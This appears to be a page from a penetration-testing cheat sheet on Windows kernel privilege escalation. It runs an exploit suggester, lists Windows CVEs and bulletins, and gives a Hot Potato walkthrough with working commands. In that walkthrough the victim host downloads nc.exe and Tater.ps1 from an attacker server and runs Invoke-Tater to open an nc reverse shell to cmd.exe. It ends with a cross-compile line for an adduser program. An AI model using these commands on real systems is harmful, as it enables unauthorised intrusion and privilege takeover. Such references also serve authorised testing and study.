Kernel Exploitation
Run exploit suggester against systeminfo:
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
$ python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt
Find installed paths:
$ wmic qfe get Caption,Description,HotFixID,InstalledOn
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
#Security Bulletin #KB #Description #Operating System
MS17-017 [KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010 [KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
MS16-135 [KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
MS16-111 [KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466]　　[Kernel Driver]　　(Win 8.1)
MS16-075 [KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
Example of Hot Potato explotation
Attacker:
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>
Victim:
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/nc.exe', '.\nc.exe')
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/Tater.ps1.exe', '.\Tater.ps1.exe')
powershell -exec bypass -command "& { Import-Module .\Tater.ps1; Invoke-Tater -Trigger 1 -Command '.\nc.exe <IP> <PORT> -e cmd.exe' }"
MS16-034 [KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
MS16-032 [KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
MS16-016 [KB3136041]　　[WebDAV]　　(2008/Vista/7)
MS16-014 [K3134228]　　[remote code execution]　　(2008/Vista/7) ...
MS03-026 [KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
Kali>i586-mingw32msvc-gcc -o adduser.exeuseradd.c
Last updated